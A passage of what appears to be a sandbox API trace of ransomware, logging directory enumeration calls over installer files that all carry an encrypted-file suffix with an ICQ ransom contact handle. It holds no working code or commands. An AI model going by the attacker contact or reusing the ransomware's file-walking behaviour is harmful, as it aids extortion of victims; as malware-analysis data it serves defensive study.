hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="Extended", cAlternateFileName="")) returned 1 [0212.873] GetProcessHeap () returned 0xc10000 [0212.873] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d3fb0 [0212.873] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0213.039] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName="..", cAlternateFileName="")) returned 1 [0213.059] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7dc3b37, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7dc3b37, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc7f8d6b7, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x16d92, dwReserved0=0x0, dwReserved1=0x606, cFileName="Parameterinfo.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="PARAME~1.EKI")) returned 1 [0213.066] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7f675ac, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7f675ac, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc7fdaa25, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x9982, dwReserved0=0x0, dwReserved1=0x606, cFileName="UiInfo.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="UIINFO~1.EKI")) returned 1 [0213.066] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7f675ac, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7f675ac, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc7fdaa25, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x9982, dwReserved0=0x0, dwReserved1=0x606, cFileName="UiInfo.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="UIINFO~1.EKI")) returned 0 [0213.066] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0213.067] GetProcessHeap () returned 0xc10000 [0213.067] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d3fb0 | out: hHeap=0xc10000) returned 1 [0213.067] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="Graphics", cAlternateFileName="")) returned 1 [0213.067] GetProcessHeap () returned 0xc10000 [0213.067] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d3fb0 [0213.067] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0213.068] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x606, cFileName="..", cAlternateFileName="")) returned 1 [0213.068] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7f8d6b7, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7f8d6b7, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc7fdaa25, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x572, dwReserved0=0x0, dwReserved1=0x606, cFileName="Print.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="PRINTI~1.EKI")) returned 1 [0213.068] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7fdaa25, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7fdaa25, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc80012e2, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x606, cFileName="Rotate1.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="ROTATE~1.EKI")) returned 1 [0213.069] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7fdaa25, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc7fdaa25, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc80012e2, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x606, cFileName="Rotate2.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="ROTATE~2.EKI")) returned 1 [0213.069] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc80012e2, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc80012e2, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc80012e2, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x606, cFileName="Rotate3.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="ROTATE~3.EKI")) returned 1 [0213.069] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc802609f, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc802609f, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc8405d73, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x606, cFileName="Rotate4.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="ROTATE~4.EKI")) returned 1 [0213.069] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc802609f, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc802609f, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc80724be, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x606, cFileName="Rotate5.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="RO9365~1.EKI")) returned 1 [0213.069] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc80724be, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc80724be, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc80be95b, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x606, cFileName="Rotate6.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="ROD52B~1.EKI")) returned 1 [0213.069] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc80be95b, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc80be95b, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc826248c, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x606, cFileName="Rotate7.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="ROFF0B~1.EKI")) returned 1 [0213.069] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc826248c, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc826248c, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc83225ae, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x472, dwReserved0=0x0, dwReserved1=0x606, cFileName="Rotate8.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="ROB541~1.EKI")) returned 1 [0213.069] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc83225ae, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc83225ae, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc8d1cee6, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x572, dwReserved0=0x0, dwReserved1=0x606, cFileName="Save.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SAVEIC~1.EKI")) returned 1 [0213.069] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8a21eee, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc8a21eee, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc8d1cee6, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x9062, dwReserved0=0x0, dwReserved1=0x606, cFileName="Setup.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPI~1.EKI")) returned 1 [0213.069] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8d42ed3, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc8d42ed3, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc8dc0bb3, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x2892, dwReserved0=0x0, dwReserved1=0x606, cFileName="stop.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="STOPIC~1.EKI")) returned 1 [0213.070] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8d42ed3, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc8d42ed3, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc8d8f471, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x572, dwReserved0=0x0, dwReserved1=0x606, cFileName="SysReqMet.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SYSREQ~1.EKI")) returned 1 [0213.070] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8d8f471, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc8d8f471, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc8e2846e, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x582, dwReserved0=0x0, dwReserved1=0x606, cFileName="SysReqNotMet.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SYSREQ~2.EKI")) returned 1 [0213.070] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8dc0bb3, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc8dc0bb3, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc901f0e6, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x2892, dwReserved0=0x0, dwReserved1=0x606, cFileName="warn.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="WARNIC~1.EKI")) returned 1 [0213.070] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2d1f1a8 | out: lpFindFileData=0x2d1f1a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8dc0bb3, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc8dc0bb3, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc901f0e6, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x2892, dwReserved0=0x0, dwReserved1=0x606, cFileName="warn.ico.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="WARNIC~1.EKI")) returned 0 [0213.070] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0213.071] GetProcessHeap () returned 0xc10000 [0213.071] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d3fb0 | out: hHeap=0xc10000) returned 1 [0213.071] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8e2846e, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc8e2846e, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc9091963, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xf22, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="header.bmp.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="HEADER~1.EKI")) returned 1 [0213.071] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xcbe50b31, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xadd395d, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="netfx_Core.mzz.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="NETFX_~1.EKI")) returned 1 [0213.071] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xc9f5235c, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x290312, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="netfx_Core_x64.msi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="NETFX_~2.EKI")) returned 1 [0213.072] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9f5235c, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc9f5235c, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xca92bf2b, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x11c112, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="netfx_Core_x86.msi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="NETFX_~3.EKI")) returned 1 [0213.072] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xce791297, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x29e23d9, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="netfx_Extended.mzz.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="NETFX_~4.EKI")) returned 1 [0213.072] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc52b72e, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xcc52b72e, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcd816707, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xd5112, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="netfx_Extended_x64.msi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="NE0E92~1.EKI")) returned 1 [0213.072] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdbf198a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xcdbf198a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcde2dc4a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x79112, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="netfx_Extended_x86.msi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="NED758~1.EKI")) returned 1 [0213.072] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde53f85, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xcde53f85, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcdea052e, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x427b2, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="ParameterInfo.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="PARAME~1.EKI")) returned 1 [0213.072] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdea052e, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xcdea052e, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xce043f41, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x2d312, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="RGB9RAST_x64.msi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="RGB9RA~1.EKI")) returned 1 [0213.072] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce06a218, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xce06a218, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xce06a218, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x17312, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="RGB9Rast_x86.msi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="RGB9RA~2.EKI")) returned 1 [0213.072] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce06a218, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xce06a218, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xce1c159e, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x13242, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="Setup.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPE~1.EKI")) returned 1 [0213.072] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce1c159e, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xce1c159e, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xce77cb57, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xc5252, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="SetupEngine.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPE~2.EKI")) returned 1 [0213.073] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcebcebc8, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xcebcebc8, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcec2fd57, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x48252, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="SetupUi.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPU~1.EKI")) returned 1 [0213.073] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf1c2fb2, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xcf1c2fb2, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcf1c2fb2, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x76a2, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="SetupUi.xsd.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPU~3.EKI")) returned 1 [0213.073] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf168b6b, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xcf168b6b, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcf19559b, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x17862, dwReserved0=0xffffc843, dwReserved1=0xa44, cFileName="SetupUtility.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPU~2.EKI")) returned 1 [0213.073] FindNextFileW (in: hFindFile=0xc29a88, lpFindFileData=0x2d1f430 | out: lpFindFileData=0x2d1f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf19559b, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xcf19559b, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xcf4156b0, ftLastWriteTime.dwHighDateTime=0x1d63feb, 